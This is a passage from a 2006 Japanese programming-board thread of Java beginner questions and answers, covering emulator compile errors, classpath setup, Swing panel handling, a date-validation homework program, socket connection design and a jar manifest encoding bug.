直接起動することも設定次第で可能。(ふつうは設定されてないが)
0711デフォルトの名無しさん
2006/10/18(水) 14:56:230712デフォルトの名無しさん
2006/10/18(水) 15:31:07マルチバイト文字のファイルを含んだjarへの署名ができない糞バグが
取れない限り、使わない!!!
新入社員にManifest.java書かせるなっ!・・・はぁはぁ
0713デフォルトの名無しさん
2006/10/18(水) 15:43:54何かいい例ありますか?
0714デフォルトの名無しさん
2006/10/18(水) 15:52:05以上!
0715デフォルトの名無しさん
2006/10/18(水) 16:08:39哲学者の食事問題シミュレータとか。
0716デフォルトの名無しさん
2006/10/18(水) 16:50:18どうやったらいいのかご教授ください。
0717デフォルトの名無しさん
2006/10/18(水) 16:53:00お帰りください。
出口はあちらです。
0718デフォルトの名無しさん
2006/10/18(水) 17:03:05ぐぐって来ましたが
難しくてダメでした
0719デフォルトの名無しさん
2006/10/18(水) 17:15:25パネルAの中に、パネルBとパネルCを配置して
パネルAにMouseListenerを登録しています。
この状態でパネルAでクリックした時に
パネルBの上でクリックされたのか、パネルCの上でクリックされたのか
識別する方法はありませんか?
座標を使えばできるのですが、なるべく座標指定はしたくないので。
よろしくお願いします。
0720デフォルトの名無しさん
2006/10/18(水) 17:59:55clsみたいなのです
0721デフォルトの名無しさん
2006/10/18(水) 18:02:300722デフォルトの名無しさん
2006/10/18(水) 18:09:04ぴゅあさんどうもありがとう。調べてみます。
0723デフォルトの名無しさん
2006/10/18(水) 18:20:12test.java:28: 文ではありません。
clear;
となりましたが
0724デフォルトの名無しさん
2006/10/18(水) 18:31:04座標の計算をしたくないと言うことだろうから、
Component clickedComponent = panelA.getComponentAt(event.getPoint());
でいいのかな。
0726デフォルトの名無しさん
2006/10/18(水) 19:12:09Javaアプリケーションを作成したいのですが
そんなことは不可能でしょうか?
なにかありましたらご教授いただきたいです
0727デフォルトの名無しさん
2006/10/18(水) 19:34:14AWT/Swing では、AWT/Swing 配下の Window に対する入力しか取れないから、
AWT/Swing 以外のアプリまで対象にしたいなら無理。SWT の方は知らない。
ところで、キーロガーみたいな犯罪者ご用達ツール作りたいように見えるんだけど。
良識のある奴は回答したがらんと思う。
0728726
2006/10/18(水) 19:44:22確かに、ここだけ見ればキーロガーみたいなツール作りたいように見えますね
でも実際作ろうとしているのは、そのような性質のものです
ユーザーが普通にコンピュータを使う上で、
キー入力速度を元にしたバイオメトリクス認証システムを作成しようとしています
まあ外部ツールに頼るのが手だと思うので探してみます
ありがとうございました
0729デフォルトの名無しさん
2006/10/18(水) 19:54:30ありがとうございます!!
0730デフォルトの名無しさん
2006/10/18(水) 20:36:47ご用心・・・
0731デフォルトの名無しさん
2006/10/18(水) 20:36:56コンパイルできません、環境変数は、PATHのみで、
使用環境はjdk1.5.0_09と、jre1.5.0_09です。
親切な方教えてください。
0732デフォルトの名無しさん
2006/10/18(水) 20:40:55ファイル名にマルチバイト文字なんて使わなきゃいいだろ。
そもそも、クラスファイル名にマルチバイト文字を
使うなんて推奨されてないはずだが。
0733デフォルトの名無しさん
2006/10/18(水) 20:41:51新入社員に書かせたくなければ、
Apache Antの<jar>タスクの<manifest>タグにに書かせればいい
0734デフォルトの名無しさん
2006/10/18(水) 20:42:24「Java言語で学ぶデザインパターン入門 マルチスレッド編」が
おすすめ。
0735デフォルトの名無しさん
2006/10/18(水) 20:43:42ワロタ。>>720と>>723はアホ過ぎるw
0736731
2006/10/18(水) 20:45:09CLASSPATHを入れることが、出来ました。
そして、Mapper.javaをコンパイルしようとすると、
シンボルを見つけられませんと出るのですが、
どのように対処すればいいか、教えてください。
0737デフォルトの名無しさん
2006/10/18(水) 20:46:54ISO-2022-JP で書いてるのは何故だ?
0738デフォルトの名無しさん
2006/10/18(水) 20:47:36> >>726
> AWT/Swing では、AWT/Swing 配下の Window に対する入力しか取れないから、
> AWT/Swing 以外のアプリまで対象にしたいなら無理。SWT の方は知らない。
> ところで、キーロガーみたいな犯罪者ご用達ツール作りたいように見えるんだけど。
> 良識のある奴は回答したがらんと思う。
かわりに、キーロガー対策御用達ツールを作るという手がある。
今日ビッグサイトでSecurity Solution 2006がやっていたが、
ある企業のキーロガー対策ソフトウェアを見てみた。
ブラウザ上で動くサービス限定だが、
キーをロギングされないようにロギングされる情報はActiveXで消去し、
サーバに渡したいフォームの内容をActiveXで暗号化してから送るってもんだった。
ActiveXってのが怪しいが、AjaxやFlashやJava AppletやJava Web Startでもできるだろう。
0739デフォルトの名無しさん
2006/10/18(水) 20:48:40> キー入力速度を元にしたバイオメトリクス認証システムを作成しようとしています
もし犯罪者になるつもりがないなら、どんなシステムなのかもの凄く気になる。
つか、そういうものはJavaよりもC言語ほうが得意だと思うのだが・・・
0740デフォルトの名無しさん
2006/10/18(水) 20:52:18NECCore で #include "def.h" とか #ifdef とか無茶なことしてないか?
出たエラーはもっと詳細に書いた方がいい。
0741デフォルトの名無しさん
2006/10/18(水) 20:53:08ひでえ。ファイル名がMapper01, Mapper02, .... MapperNってネーミング。
よくそんな解りづらくて効率悪いネーミングできるよな。
しかもパッケージ指定が無いし。
おまけに文字コードはJISときた。UTF-8にしておくのがお勧めなんだが。
コンパイルできなかったときのエラーメッセージを個々に貼り付けて貰いたかったが。
環境変数がPATHのみという意味も不明だが、空っぽという意味なら、
set PATH=%PATH$;.
を実行して.(ドット)を付け加えておく必要があるだろう。
それから、文字コードがJISになっとるようだが、コンパイルオプションに
文字エンコーディングがJIS(ISO-2022-JP)であることを知らせるようにしたか?
0742デフォルトの名無しさん
2006/10/18(水) 20:53:44シンボルを見つけられませんって、具体的にどんあメッセージなのか。
0743デフォルトの名無しさん
2006/10/18(水) 20:55:05ホントだ。なんじゃこりゃ。しかもそのファイルはShift_JISになっとるし。
文字コード混在させすぎだしJavaとは関係ないコードが入ってるし。
何考えているんだか
0744デフォルトの名無しさん
2006/10/18(水) 20:56:27恐らく、ディスクシステムのエミュレータソフトウェアのことだろうが。
Cで書かれたプログラムを無理矢理Javaに置き換えたソースコードか?
0745デフォルトの名無しさん
2006/10/18(水) 20:58:36importされてるパッケージを見ると、なつかしのj_phoneという文字列が見つかるし。
もしかすると、VodafoneというかSoftBankのライブラリをクラスパスにインポートしていとかでねえか?
0746デフォルトの名無しさん
2006/10/18(水) 21:00:41名前からするにNES(ファミコンエミュ)の何かをしたいようだから、
MapperN ってのはそのネーミングで正しいんだと思う。
(あるエミュは対応マッパーが豊富で #108 をサポートしてる、
とかそんな感じの使い方をする。マッパーが何かはよく分からんが。)
0747デフォルトの名無しさん
2006/10/18(水) 21:01:38Vodafoneの開発環境を使っていないとか。
あと、コンパイラ準拠レベルは1.3にしないと携帯Javaアプリは
実行できないってのがiアプリであった。Vアプリはようわからんが。
0748デフォルトの名無しさん
2006/10/18(水) 21:02:54MapperNってのは正しいっていうか、
あとからわかったが、携帯電話アプリだから
仕方が無くやってるって可能性があるかもしれん。
酷い職場ではBREW開発でああいうネーミングを着けたがる香具師がいたりする。
本当にそのMapperがもとからそのネーミングなら悪くはないかもしれないが。
0749デフォルトの名無しさん
2006/10/18(水) 21:04:23初めに環境が jdk-1.5.0 って言ってるから
まず十中八九使ってないと思われる。
0750デフォルトの名無しさん
2006/10/18(水) 21:05:51作者のDuma Provenceって誰だ?
と思って調べたらこんなサイトが。
Let's Emu! : 携帯電話でゲームボーイ!?
http://www.geocities.co.jp/Playtown-Yoyo/6130/memo/emuphone.htm
0751デフォルトの名無しさん
2006/10/18(水) 21:06:44なるほど。とりあえず彼は、コンパイラ準拠レベルを1.3に下げてからコンパイルしなおすことから
始めて見るのがよろしいかもな
0752デフォルトの名無しさん
2006/10/18(水) 21:07:320753デフォルトの名無しさん
2006/10/18(水) 21:11:28いえ、きゃつは大変な物を使いこみました。
…。
我々の余暇です。
0754731
2006/10/18(水) 21:11:47シンボル: クラス NESCore
場所 : Mapper の クラス
final NESCore nes;
^
Mapper.java:12: シンボルを見つけられません。
シンボル: クラス NESCore
場所 : Mapper の クラス
public Mapper(NESCore _nes) {
^
Mapper.java:632: シンボルを見つけられません。
シンボル: クラス NESCore
場所 : Mapper の クラス
public static Mapper createMapper(int mapperNo, NESCore nes) {
^
Mapper.java:384: シンボルを見つけられません。
シンボル: 変数 NESCore
場所 : Mapper の クラス
set_mirroring(NESCore.MI
RROR_VERT);
^
Mapper.java:388: シンボルを見つけられません。
シンボル: 変数 NESCore
場所 : Mapper の クラス
set_mirroring(NESCore.MI
RROR_HORIZ);
と出ました。何か、あれば教えてください。
0755デフォルトの名無しさん
2006/10/18(水) 21:13:52こやつは、もしかすると、Eclipseでメソッドをオーバーライドしたときに
自動的に付加されたコメントであると見た。
/*
* (非 Javadoc)
*
* @see javax.microedition.midlet.MIDlet#pauseApp()
*/
public void pauseApp() {
}
0756デフォルトの名無しさん
2006/10/18(水) 21:14:27なるほど。>>754にどう答えようか。
0757デフォルトの名無しさん
2006/10/18(水) 21:14:59つーかな、クラスパスの設定見せろ
0758731
2006/10/18(水) 21:18:160759デフォルトの名無しさん
2006/10/18(水) 21:19:37(1) 以下のコマンドの結果を貼る。
echo %CLASSPATH%
echo %PATH%
(2) コンパイルする時にどんなコマンドを叩いたのかを書く。
(3) #ifdef や #include について説明する。
どっかから拾ってきたコードで意味が分からないならそのことを告げる。
話はそれからだ。
0760731
2006/10/18(水) 21:25:23(1)echo %CLASSPATH%:C:\Program Files\Java\jdk1.5.0_09\bin
echo %PATH%:C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\Program Files\pcdNavi
\bin;C:\Program Files\Fujitsu\sa\dll;C:\Program Files\QuickTime\QTSystem\;C:\Pro
gram Files\Java\jdk1.5.0_09\bin
(2)
javac Mapper.java
(3)携帯電話で、ファミコンをするエミュレーターで、別のスレから、
ダウソしてきたものです。java知識は今日まで、
まったくありませんでした・・・
0761デフォルトの名無しさん
2006/10/18(水) 21:33:34正直でヨロシ。
まずJDK1.5だけではビルドは無理。
J2ME とか携帯絡みのライブラリが恐らく必要。
そっち方面は俺は詳しくないので、
誰か詳しい方のフォローを待つ。
#if とか #include とかは JAVA の記法にない。
(携帯開発だと独自記法が存在するのかも知れない。俺は詳しくない。)
よってもともと動かないコードの可能性もある。
0762デフォルトの名無しさん
2006/10/18(水) 22:01:18ただ、すぐ実現すると思うぞ。楽しみだな〜
0763731
2006/10/18(水) 22:28:12だめでしょうか?
0764デフォルトの名無しさん
2006/10/18(水) 23:06:50J2ME wireless toolkit 1.0.3ならJDK1.3.1を使うが良い
でも、そのVersionであってるのか?
0765デフォルトの名無しさん
2006/10/18(水) 23:50:54その後どうすれば動くようになるのでしょうか?
現在は、ダウンロードしたファイルがデスクトップにある状態です。
0766ぴゅあ
2006/10/19(木) 00:10:35NESCoreクラスってのが何処にあるものか知らないけど・・・
NESCoreクラスが記述されたソースコードファイルがない
つまり必要なものが全て揃っていない
なんていうことは?
ちょっと気になってみました。。。
0767デフォルトの名無しさん
2006/10/19(木) 00:16:56zip 内に NESCore.java はあるんだが
#ifdef とか #include なんて書かれてる。
って話が上に出てる。
0768ぴゅあ
2006/10/19(木) 00:33:35なるほど
766を書いた時点で見たので
出てたんだろう元になってるソースコードはもう見れないようで
ググってみたらそれらしいソースコードは出てきたりしたけど
#ifとかでてきてないし
0769デフォルトの名無しさん
2006/10/19(木) 01:10:09必要な java ファイルを生成するとかみたいな
条件コンパイルをやってるんじゃないかな。
アップローダにあがってた java のソース以外にも
def.h とか makefile とかが別にあるんじゃないかと思う。
0770デフォルトの名無しさん
2006/10/19(木) 01:17:20ワロタ。
0771デフォルトの名無しさん
2006/10/19(木) 01:18:070772デフォルトの名無しさん
2006/10/19(木) 01:18:47Jakarta Velocityのテンプレートである可能性もありうる。
0773デフォルトの名無しさん
2006/10/19(木) 01:19:21クラスパスに追加する
0774デフォルトの名無しさん
2006/10/19(木) 01:20:57%JAVA_HOME%/ext/libには何か入れたか?
(できれば入れない方があとあと面倒なことになりにくい)
SoftBank(Vodafone(J-Phone))のライブラリやCLDCなどの
ライブラリもクラスパスに通さなければ雨後感ぞ
0775デフォルトの名無しさん
2006/10/19(木) 01:22:43受 が 銭 L_ /;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\ ,';;/ ) 何
会 .許 仕 //;;/´ `' 、;;;;;;;;,,l;;' /ヽ と
社 さ. 事 /.,';/ ヽ;;;;,l;L_ .,,、,--ュ、 ';;;;;;;;;な 携帯コンテンツ
ま れ l |;|┌--‐フ ┌----、、 |;ヾr''‐ヽ, ,、ィ'r-‐''''''‐ヽ ';;;;;;く !!
で る i |l ~~__´ 、 ``'__''''┘ |;;;;;l rO:、; ´ ィ○ヽ 'i;;;;;厶,
じ の l _|. <,,O,> 〉 <,,O,,> |;;;;;| `'''"/ `'''''"´ !;;;;;;;;ヽ
ゃ は ._ゝ'|. / 、 |; ,' / 、 |;;;;;;;;;;;;;レ、⌒Y⌒ヽ
ぞ 「 | | ( ) .ソ l ,:' _ ヽ .|;;;;;;;//-'ノ
ヽヽ | _,ニ ニ,,,,,_ ', ゞ,' '"'` '" i;;;;;i, `' /
⌒レ'⌒ヽ厂 ̄ `| ,、ィ-‐''__'''‐-`,、 '' ', i、-----.、 `''"i`'''l
人_,、ノL_,iノ! ', :i゙''''''''''`l' ` _人__人ノ_ヽ ヾ゙゙゙゙ニニ'\ ,' ト、,
/ ヽ. L__」 「 止 笑 L_ ヽ〈 i| Vi゙、
ハ ワ {. ヽ. -、、、、 ' ノ ま い 了゙, ,ヽ===-'゙ ,' , // ヽ
ハ ハ ヽ. ハ ) ら が | ',.' ,  ̄ , ' ノ /./ ヽ,
ハ ハ > /|ヽヽ、___,,,,、 'く ん > ヽ.  ̄´ / ,、 ' / / \
ハ ハ / ノ. | ヽ フ / ノ:lゝt-,-‐''" / ,.ィ゙ /
0776デフォルトの名無しさん
2006/10/19(木) 01:51:44B{1,3,5}
から共通してる要素の個数を出力するにはどうしたらいいでせうか?
0777546
2006/10/19(木) 02:21:49javaの知識が足りず、課題が出来ず困っています。
ちなみに課題は、日付を入力するもので
キーボードからmmdd形式(月2文字日2文字)で入力し、mmddとしてありえない数字(1301,1131等)が
入力されたら終了するプログラムを作れというものなのです。
どういったソースにすればこのような物ができるのでしょうか?
0778デフォルトの名無しさん
2006/10/19(木) 02:54:13import java.io.InputStreamReader;
import java.io.BufferedReader;
public class ParseDate {
private static final int[] daysInMonth = { 0, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31 };
public static void main(String[] args) throws IOException {
final BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
while (true) {
System.out.print("Enter a date in mmdd format: ");
final String input = in.readLine().trim();
if (input.length() != 4) {
System.out.println("Bad input length"); break;
}
final String mm = input.substring(0, 2);
final String dd = input.substring(2, 4);
try {
final int month = Integer.parseInt(mm);
if (month < 1 || 12 < month) {
System.out.println("month is out of range"); break;
}
final int day = Integer.parseInt(dd);
if (day < 1 || daysInMonth[month] < day) {
System.out.println("day in month is out of range"); break;
}
System.out.println("parsed date is: " + month + "/" + day);
} catch (NumberFormatException e) {
System.out.println("Bad date format"); break;
}
}
}
}
0779デフォルトの名無しさん
2006/10/19(木) 02:55:30・初学者を仮定し、Calendar、DateFormat、正規表現は使わない。
・受理できたら解析結果を出力する。
・受理できる限りは、無限にループする。
0780デフォルトの名無しさん
2006/10/19(木) 02:57:36んなもん自分でプログラム作れよ。
どっかのライブラリが星家りゃ、Jakatraでも探してこい
0782デフォルトの名無しさん
2006/10/19(木) 08:43:57(内部で自作でないライブラリを呼んでいるので何が行われて
いるのかは不明)
CentOS 4.3
jdk-1_5_0_08-linux-i586.rpm
ちなみに OSX では無問題。環境の問題ぽいのですが、
何をチェックすべきですか?
0783デフォルトの名無しさん
2006/10/19(木) 09:41:540784デフォルトの名無しさん
2006/10/19(木) 11:26:45lrwxrwxrwx 1 root root 22 Aug 23 15:11 /usr/bin/java -> /etc/alternatives/java
ls -l /etc/alternatives/java
lrwxrwxrwx 1 root root 35 Aug 23 15:11 /etc/alternatives/java -> /usr/lib/jvm/jre-1.4.2-gcj/bin/java
わぉ。すてき。rpm をインストールするだけじゃダメってことですね。
rm /usr/bin/java
ln -s /usr/java/jdk1.5.0_08/bin/java /usr/bin
で解決しました。ありがとうございます〜。
0785731
2006/10/19(木) 11:34:23作者様が、最新版のをうpしてくれたので、
一件落着です。
皆様、真剣に、取り組んでくれてありがとうございました。
余暇を使ってくれてありがとう。
0786デフォルトの名無しさん
2006/10/19(木) 11:58:18javaでソケットで接続を確立した後に
そのソケットから別のポートで新規ソケットを作りだすというのはどうすればできますか?
よろしくお願いします。
0787デフォルトの名無しさん
2006/10/19(木) 12:16:07俺がアホになったのか、アホな質問されたのか?
という質問なら、お前がアホに見えてくる
0788デフォルトの名無しさん
2006/10/19(木) 12:46:320789デフォルトの名無しさん
2006/10/19(木) 12:59:10エミュはJBlend、auのオープンアプリを作ろうとして勉強してます。
int src[320*240];
int dst[320*240];
以上の配列を関数内で定義し、
for(i=320*240;i>0;i--)dst[i]+=src[i];
ということをやってるのですが、これだけで非常に遅いです。
速度を改善したいのですが、何か方法はありませんでしょうか。
0790デフォルトの名無しさん
2006/10/19(木) 13:08:23使う人の人生を少しスローライフに変更さす
0791デフォルトの名無しさん
2006/10/19(木) 13:22:59その処理で、どこを削れと……
ってか、
> for(i=320*240;i>0;i--)dst[i]+=src[i];
これって ArrayIndexOutOfBoundsException 食らわないか?
0792789
2006/10/19(木) 13:31:05i=320*240-1;i>=0
ですね。指摘ありがとうございます。
0793786
2006/10/19(木) 13:57:04すみません、説明が足りなかったみたいですね。
サーバーとクライアントで接続を確立した後に
お互いのPC同士を繋いでいるソケットの複製を
新規にポート番号だけを変えて作成する方法なんですが
解りませんでしょうか?
0794デフォルトの名無しさん
2006/10/19(木) 14:10:06「ソケットの複製」の定義が良く分からん。
サーバもクライアントもプログラムからコントロールできるなら可能。
接続を確立したのと違うポート、同じ方法でサーバとクライアントを操作すれば良い。
サーバかクライアント、どっちかがコントロールできないなら、ケースバイケース。
0795ぴゅあ
2006/10/19(木) 14:16:55気持ち
i = 320*240;
while (--i >= 0) {
だったりするけど微妙
Javaでこんなこと考えても殆ど意味なさそう
int src,dstはintでなきゃダメなのよね?
必要するサイズの型に変えてもどれほど効果が得られるかは微妙だし
無理っぽい気はするけど
>for(i=320*240;i>0;i--)dst[i]+=src[i];
(その部分だけ)が遅いと言っているのか
アプリ全体として見て(そのforループがあるために)なのか
アプリ全体として頻繁にそのforループが処理されるためとかだとして
常に全要素を対象とするしかないのか
とか、確認できそうなところはあるかも
0796ぴゅあ
2006/10/19(木) 14:19:01名指しされても困ります
てか、掲示板で名指しで質問はよくないことではないかと
0797ぴゅあ
2006/10/19(木) 14:26:29同じく
>「ソケットの複製」の定義が良く分からん。
ハンドルの複製とかの意味合いならだけど
やろうとしていることはそうではないと思う
違うポートでもう一本接続しにいけばいいだけのことだろう思うけど・・・
0798デフォルトの名無しさん
2006/10/19(木) 14:27:200799デフォルトの名無しさん
2006/10/19(木) 14:30:08> for(i=320*240;i>0;i--)dst[i]+=src[i];
これだと loop unrolling ぐらいしか思いつかんね。
for(i = 320*240-1;i>=0;){
dst[i]+=src[i--];
dst[i]+=src[i--];
dst[i]+=src[i--];
dst[i]+=src[i--];
}
たいして効果は出ないような気もする。
加算を必要な範囲だけに絞るとか、
dst[i]+=src[i] の部分で本当はビット演算や条件分岐使ってるなら、
ビット演算を工夫して条件分岐しないようにするとか……
0800786
2006/10/19(木) 14:59:09>>797
ソケットの複製というのは、接続先だけ一緒で
同じ方法でポート番号だけ変えて、もう一本繋いだ時にできるソケット
と同じものを作り出すという意味です。
作ろうとしているものが、サーバーに複数のクライアントが接続して
それらのクライアントがもう一本サーバーとの接続を確立する。という処理をしたいのですが
サーバー側で2本目の接続が来た場合、クライアントが複数なので
それが誰からの接続か解らないという問題が発生しています。
0801デフォルトの名無しさん
2006/10/19(木) 16:02:21ホワイルでサーバーソケットをオープンしておいてクライアントがコネクトしてきたら
、ワーカースレッドにクライアントソケットインスタンスを渡してやればいいよ。
0802ぴゅあ
2006/10/19(木) 16:12:50やろうとしていることは判りますよ
ただ「ソケットの複製」とか言っているところにどういうイメージというか考えを持っているか
とかいうところかなぁ?
まず、たぶん「ソケットの複製」というようなイメージで言われているようなものは探しても見つからなかったりするんじゃないかと思います
細かく書いてたら長くなる(なった(汗))ので簡単に…
まず1つは、
・1本接続を作ったんだから、それを使えばいいじゃないのか?
というところ(どういう扱い方をしたいのか、プログラム的な面とか絡んでくるでしょうけど)
・2本目はサーバー側からクライアントへ接続する
・1本目を使ってサーバー側からクライアントへ識別IDのようなものを送ってもらってクライアントからの2本目の接続の際に送り返してもらう
とか
>サーバー側で2本目の接続が来た場合、クライアントが複数なので
>それが誰からの接続か解らないという問題が発生しています。
クライアントからの接続ベースで「2本の接続が同一のクライアントであるか」という見方は変えた方がいいのかも
誰からの接続か(ネットワーク接続としての)はできれば意識しないで済ますことができないか
ということが考えられるといいのだろうと思いますけど
クライアントからの接続で誰からのものであるかの判断が必要なら3つ目の手段とかで対処したりすることを考えてみるのがいいんじゃないかと思います
0803デフォルトの名無しさん
2006/10/19(木) 16:17:13IPアドレス 1個につき、クライアント 1個だけとか仮定できるなら
java.net.Socket#getInetAddress() とか使えば誰からの接続かは解ると思うが。
それがダメなら、接続後に、誰からの接続かを特定するための
データを送ってみるとかで工夫するしか無いんじゃね?
サーバが一意に特定できるセッション番号みたいのを発行して、
2本目のソケットではクライアントが、2本目のソケットである事と、
先に発行されたセッション番号を送るとか。
0804デフォルトの名無しさん
2006/10/19(木) 16:48:03スローダンスというドラマを思い出してしまった
0805デフォルトの名無しさん
2006/10/19(木) 16:51:15int temp = 320 * 240;
をfor文の外で実行し
for(int i = temp; i > 0; i-- ){
}
とやったほうが速いように見えた。
あとはBufferを使うって手もありかな。
と思ったらあれはJ2SE1.4以降からの機能なので
1.3までしか使えない携帯電話開発では無理か。
0806デフォルトの名無しさん
2006/10/19(木) 16:53:020807デフォルトの名無しさん
2006/10/19(木) 16:57:410808デフォルトの名無しさん
2006/10/19(木) 17:09:36そりゃプラシーボだろ、たぶん。
ループの終了条件を毎回計算してるんなら話は別だけど、
違いは temp 使うか使わないかだけだし。
> あとはBufferを使うって手もありかな。
Java側で演算する場合は遅くなる事はあっても、速くはならんだろ。
単純なコピーとかで、Java側は Buffer を右から左に渡すだけとか、
メモリマップドファイルとか使うんなら話は変わるかもしれないけど。
0809デフォルトの名無しさん
2006/10/19(木) 17:31:04super と this の明確な違いがわからないのですが、それぞれ別物と考えたほうがいいのでしょうか?
0810デフォルトの名無しさん
2006/10/19(木) 18:07:20何の本を読んでるのか知らんが、そのページにまちがいなく答えが書かれているはず。
0811デフォルトの名無しさん
2006/10/19(木) 18:07:38super: スーパークラスのコンストラクタを呼ぶ。
this: 同クラスのコンストラクタを呼ぶ。
0812789
2006/10/19(木) 19:35:33実際はピクセルの加算合成を行っているため、もう少し複雑です。分岐は使っていません。
auのオープンアプリは拡張APIをサポートしないようで、
ですが加算合成を使いたいので、自前で実装しようと思ったのが発端です。
加算合成をコードで書いたところ異様に遅く、まず変数へのアクセスが遅いと気づいた次第です。
以下のようにして調べました。
�@ メインループに処理無しの場合(fpsのみ表示)のとき→エミュレータ上で500fps
�A �@に>>789のループを加えて処理させた場合→32fp
�B �@にdrawRGBで240*320の画像を半透明表示(α値固定)した場合→200fps
�Aより�Bのほうが速いのは流石にどうよ?と思いまして、質問させていただきました。
>>790 携帯のCPUをオーバークロックさせたいです!
>>791 どうにもならないのかなーとおもいまして^^;
>>795>>799
配列の一つ一つは、ピクセルとして扱ってるのでintが望ましいです。
対象範囲は最低が320x240を想定してました。
(実際は64x64の範囲を、60fpsで1フレーム20回以上処理させることを考えてました。)
>>805 使えないかもですが、一応Buffer調べてみます。
>>806 効果なかったです。
>>807 次に質問するときはそちらに行きます。ありがとうございます。
0813デフォルトの名無しさん
2006/10/19(木) 20:19:29for (int i = 1; i <= 10; i++){
String s[i] = ("jPanel_"+i);
JPanel s[i] = null;
}
↑みたいに、for文使って一気にJPanelを作りたいですけど、↑じゃうまくいかないので
一気に作るにはどのようにすればいいんでしょうか?
0814デフォルトの名無しさん
2006/10/19(木) 20:53:570815デフォルトの名無しさん
2006/10/19(木) 20:54:240816ぴゅあ
2006/10/19(木) 21:10:270817デフォルトの名無しさん
2006/10/19(木) 21:12:500818ぴゅあ
2006/10/19(木) 21:37:42確かにうまく行かないでしょうけど
どういう風に,どこがうまくないかとか
実際にコンパイル等してみて判っていることはあるでしょうか
0819デフォルトの名無しさん
2006/10/19(木) 21:49:18JavaでJPG画像を読み込んで表示する際
画像上でdrawRectで囲まれた部分だけを透過するという方法はありませんか?
0820デフォルトの名無しさん
2006/10/19(木) 22:06:380821デフォルトの名無しさん
2006/10/19(木) 22:06:59JPanel jPanel = new JPanel[size];
for(JPanel s : jPanel){
s = new JPanel( なんか. "パネル")
}
0822デフォルトの名無しさん
2006/10/19(木) 22:10:27ダウト
0823デフォルトの名無しさん
2006/10/19(木) 22:12:18> s = new JPanel( なんか. "パネル")
> }
こっちもだね。セミコロン補ったり、jPanel が配列だったとしても
生成された JPanel のインスタンスは配列には入らない。
0824819
2006/10/19(木) 23:07:37塗りつぶすのではなく透過をしたいんです。
例えば赤の背景色に四角形を透過して描いて
そこの部分だけピンクにするというような処理なんですが。
0825デフォルトの名無しさん
2006/10/19(木) 23:10:160826デフォルトの名無しさん
2006/10/19(木) 23:16:01JPanel[] jPanel = new JPanel[size];
0827デフォルトの名無しさん
2006/10/19(木) 23:32:04透過だと透明じゃねぇか。半透明とかブレンディングとか言え。
RGBImageFilterでもつかえばいいじゃまいか
0828デフォルトの名無しさん
2006/10/19(木) 23:45:13ないよな?
0829デフォルトの名無しさん
2006/10/19(木) 23:47:390830デフォルトの名無しさん
2006/10/19(木) 23:58:51Eclipse上でSwing+VisualEditorを使用してアプリを作成しています。
設定用のダイアログを作ろうと思い、最近よく見かける(Jane Styeのような)、
「左側にツリー表示、右側に項目表示、ツリーのノード選択で右側画面の項目が入れ替わる」
タイプの設定用ダイアログにしようと思っているのですが、こういったタイプのダイアログを
作成する場合、どういった感じの実装にするのが一般的なのでしょうか?
試しにJFrame上にJTreeとJPanel(jPanelA)を配置し、それとは別にJFrame外に
もう一枚JPanel(jPanelB)を配置して、このパネルにボタンなどを配置し、
ツリーのノードのクリックで
jPanelA = jPanelB;
(実際には自動で生成されたgetterを使用していますが)
を行うコードを実行してみたのですが、何も反応がありません。
こういったダイアログを実装する場合の概念などを教えていただければと思います。
申し訳ありませんが、よろしくお願いします。
0831デフォルトの名無しさん
2006/10/20(金) 00:11:27setVisibleはいかが?
0832デフォルトの名無しさん
2006/10/20(金) 00:43:020833デフォルトの名無しさん
2006/10/20(金) 00:58:05ありがとうございました。解決しました。
アドバイスのあと色々ためしたところ、パネルのVisibleプロパティをインスタンス生成
直後に明示的にfalseにして、ノードクリック直後にtrueにすることで表示できました。
先ほどまでは生成時にデフォルトでtrueの設定になっていたため、うまく表示が
できなかったようです。
どうもありがとうございました。
0834デフォルトの名無しさん
2006/10/20(金) 02:58:19ttp://www.y-adagio.com/public/standards/tr_javalang/3.doc.htm#40625
any Unicode character that is a Java letter (see below)
文字及び数字は,Unicode文字集合のどの文字であってもよい。
Unicode文字集合は,中国語,日本語及び朝鮮語(チョソノ)に対する大きな集合を含み,
今日世界で使用しているほとんどの筆記スクリプトを扱っている。
これによって,Javaプログラマは,プログラム中に,自分の母国語で書いた識別子を使うことができる。
はて?別に非推奨ではないはずだが・・・・
使うに当たってスペックは調べてますがな。
それよか、Manifestファイル中はUTF-8っていう仕様があるのに
それに従ってないManifestの実装がどうかと思う訳ですよ。
ttp://java.sun.com/j2se/1.5.0/ja/docs/ja/guide/jar/jar.html#Notes%20on%20Manifest%20and%20Signature%20Files
(↑仕様これね)
それで調べてみたら、バイト書き出すのに、charをbyteにキャストするメソッド
使ってて・・・・・頭大丈夫かよ、と思った次第。
で、まぁ、それだけならCを書きすぎたウッカリシニアでないと言い切れないわけだが
Manifestファイルの1行は72byte (←この仕様もどうかと思うが)ってのがあるのに
どう見ても72文字で区切っている・・・
これは新入社員だろ・・・・・・
仕様の中でわざわざ「すべての行は UTF-8 エンコード形式では、72 バイト (文字でない) を超えられない。」
って書いてるのに・・・・・やってらんね・・・⊂( ⊂(´_ゝ`)
0835デフォルトの名無しさん
2006/10/20(金) 03:04:39マルチバイトファイル名は、UTF-8表現可能なら問題なく扱える
何故ならjarファイルの中ファイル名はUTF-8で扱われるから
これが、ローカルの文字コードで格納されたりするzipとの違い
どの環境のjarコマンドで解凍しても大丈夫
だからファイル名にマルチバイト文字を使うのに問題はない
⊂( ⊂(´_ゝ`)うだー
0836デフォルトの名無しさん
2006/10/20(金) 04:57:040837デフォルトの名無しさん
2006/10/20(金) 05:20:58┃ ┃ ┃ ┃ 、 ┃ ┃ ┃ ┃
┏━┫ ┃ ┃ ┃ 九仕 三火. | -|- ┃ ┃ ┃ ┣━┓
┃ ┃ ┃ ┃ ┃ 木比 口火 l Ο- 、、 ┃ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┣━┓ ─- ─- 二|二.  ̄フ ┏━┫ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┃ ┃ ,__. ,__. Ο- <. ┃ ┃ ┃ ┃ ┃ ┃
┃ 、 ┃ ┃ ┏━━━━━━━┓ ┃ ┃ ┃
┃ 九仕 三火 ┃ ┃ ┃ ┃ ┃ ┃l二 |、 | 「ヽ ┃
┃ 木比 口火 ┣━┫ ・ヽ─/ ・ ┣━┫ l_ | `| Lノ ┃
